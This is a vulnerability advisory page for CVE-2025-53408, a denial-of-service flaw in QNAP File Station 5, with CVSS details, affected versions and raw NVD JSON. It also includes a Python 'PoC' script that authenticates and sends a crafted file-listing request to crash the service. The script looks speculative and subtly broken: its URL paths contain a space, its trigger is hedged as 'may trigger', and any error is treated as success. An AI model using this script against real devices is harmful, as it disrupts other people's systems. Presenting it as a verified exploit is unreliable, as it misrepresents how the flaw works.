Security Vulnerability Report
中文
CVE-2025-53408 CVSS 6.5 MEDIUM

CVE-2025-53408

Published: 2025-11-07 16:15:39
Last Modified: 2025-11-14 19:34:06

Description

A NULL pointer dereference vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following version: File Station 5 5.5.6.5018 and later

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:file_station:*:*:*:*:*:*:*:* - VULNERABLE
QNAP File Station 5 < 5.5.6.5018

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-53408 PoC - File Station NULL Pointer Dereference # Target: QNAP File Station 5 (< 5.5.6.5018) # Note: Requires valid low-privilege user credentials TARGET_URL = "https://<qnap-ip>:443/" # Replace with target QNAP IP USERNAME = "attacker" # Replace with valid username PASSWORD = "password" # Replace with valid password def get_auth_token(): """Obtain authentication token via File Station API""" login_url = f"{TARGET_URL}file station/cgi/filemanager/authLogin.cgi" data = { "username": USERNAME, "password": PASSWORD } try: response = requests.post(login_url, data=data, verify=False, timeout=10) if response.status_code == 200: return response.json().get('authSid') except Exception as e: print(f"[-] Authentication failed: {e}") return None def trigger_null_ptr_deref(auth_sid): """Send crafted request to trigger NULL pointer dereference""" # Malformed request targeting file listing with invalid parameters exploit_url = f"{TARGET_URL}file station/cgi/filemanager/fileOperation.cgi" headers = { "Cookie": f"NAS_SID={auth_sid}", "Content-Type": "application/x-www-form-urlencoded" } # Trigger condition: NULL pointer dereference via invalid file handle payload = { "func": "list_all_files", "path": "", # Empty path may trigger NULL "order_by": "name", "isMedia": "1" } try: response = requests.post(exploit_url, headers=headers, data=payload, verify=False, timeout=10) print(f"[*] Response Status: {response.status_code}") return response.status_code == 500 except requests.exceptions.RequestException: return True # Service crash indicates successful exploitation def main(): print("[*] CVE-2025-53408 PoC - QNAP File Station NULL Pointer Dereference") auth_sid = get_auth_token() if not auth_sid: print("[-] Failed to obtain authentication token") sys.exit(1) print(f"[+] Authenticated successfully") if trigger_null_ptr_deref(auth_sid): print("[+] DoS condition triggered - File Station may be unavailable") else: print("[-] Exploit did not trigger vulnerability") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53408", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:39.093", "lastModified": "2025-11-14T19:34:06.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.5018 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:file_station:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5.6.4691", "versionEndExcluding": "5.5.6.5018", "matchCriteriaId": "A8CD1AA7-AC4B-4100-9789-50556BA83F52"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-38", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}